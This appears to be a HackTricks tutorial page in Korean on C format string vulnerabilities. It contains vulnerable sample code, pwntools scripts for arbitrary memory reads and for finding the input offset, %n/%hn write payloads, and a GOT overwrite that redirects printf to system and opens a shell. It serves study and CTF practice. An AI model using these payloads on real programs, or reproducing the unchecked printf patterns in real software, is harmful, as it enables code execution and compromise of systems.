217 lines
9.9 KiB
Markdown

# Format Strings
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. 이 원시 텍스트의 **형식 지정자**를 **대체**할 **값**이 **다음 매개변수**로 기대됩니다.
다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특별한 입력**을 만들어 **읽기 및 쓰기 가능한** **모든 주소의 데이터를 읽고 쓸 수** 있습니다. 이렇게 해서 **임의 코드를 실행**할 수 있습니다.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**예시:**
- 취약한 예:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- 일반 사용:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- 누락된 인수와 함께:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf 취약점:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **포인터 접근**
형식 **`%<n>$x`**에서 `n`은 숫자로, printf에 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:
```c
printf("%x %x %x %x")
```
첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.
또는 다음과 같이 할 수 있습니다:
```c
printf("%4$x")
```
그리고 네 번째를 직접 읽습니다.
공격자가 `printf` **매개변수를 제어한다는 점에 유의하세요. 이는 기본적으로** 그의 입력이 `printf`가 호출될 때 스택에 있을 것임을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있음을 의미합니다.
> [!CAUTION]
> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 할 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다.
## **임의 읽기**
형식 지정자 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져오고 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 입력의 시작 부분에 0x8048000 주소를 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.
### 오프셋 찾기
입력에 대한 오프셋을 찾으려면 4 또는 8 바이트(`0x41414141`)를 보내고 **`%1$x`**를 뒤에 붙인 다음 `A's`를 검색할 때까지 값을 **증가**시킬 수 있습니다.
<details>
<summary>브루트 포스 printf 오프셋</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### 얼마나 유용한가
임의 읽기는 다음과 같은 용도로 유용할 수 있습니다:
- **메모리에서** **바이너리**를 **덤프**하기
- **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근하기** (예: [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서의 카나리, 암호화 키 또는 사용자 정의 비밀번호)
## **임의 쓰기**
포맷터 **`%<num>$n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%<num>$n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있게 됩니다.
다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **`%.<num-write>%<num>$n`**을 사용하여 **`<num-write>`** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해 (한 번에 작성하기에는 매우 큰 숫자임) **`$hn`**이 **`$n`** 대신 사용된다는 점에 유의해야 합니다. 이렇게 하면 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다.
따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 합니다.
이 예제에서 목표는 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이 함수는 나중에 호출될 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\
앞서 언급했듯이 주소를 쓰기 위해 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 작성하고 그 다음에 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**이 사용됩니다.
- **HOB**는 주소의 2개의 높은 바이트를 호출합니다.
- **LOB**는 주소의 2개의 낮은 바이트를 호출합니다.
그런 다음 포맷 문자열의 작동 방식 때문에 **먼저 더 작은** \[HOB, LOB]를 작성한 다음 다른 하나를 작성해야 합니다.
HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools 템플릿
이러한 종류의 취약점을 위한 익스플로잇을 준비하는 **템플릿**을 다음에서 찾을 수 있습니다:
{{#ref}}
format-strings-template.md
{{#endref}}
또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 이 기본 예제를 확인하세요:
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## 포맷 문자열을 통한 BOF
포맷 문자열 취약점의 쓰기 작업을 악용하여 **스택의 주소에 쓰기****버퍼 오버플로우** 유형의 취약점을 이용할 수 있습니다.
## 기타 예제 및 참고자료
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32비트, no relro, no canary, nx, no pie, 스택에서 플래그를 누출하기 위한 포맷 문자열의 기본 사용 (실행 흐름을 변경할 필요 없음)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32비트, relro, no canary, nx, no pie, win 함수로 `fflush` 주소를 덮어쓰는 포맷 문자열 (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32비트, relro, no canary, nx, no pie, `.fini_array` 내의 main 주소에 쓰기 위한 포맷 문자열 (흐름이 한 번 더 루프하도록) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소에 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력으로 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다.
{{#include ../../banners/hacktricks-training.md}}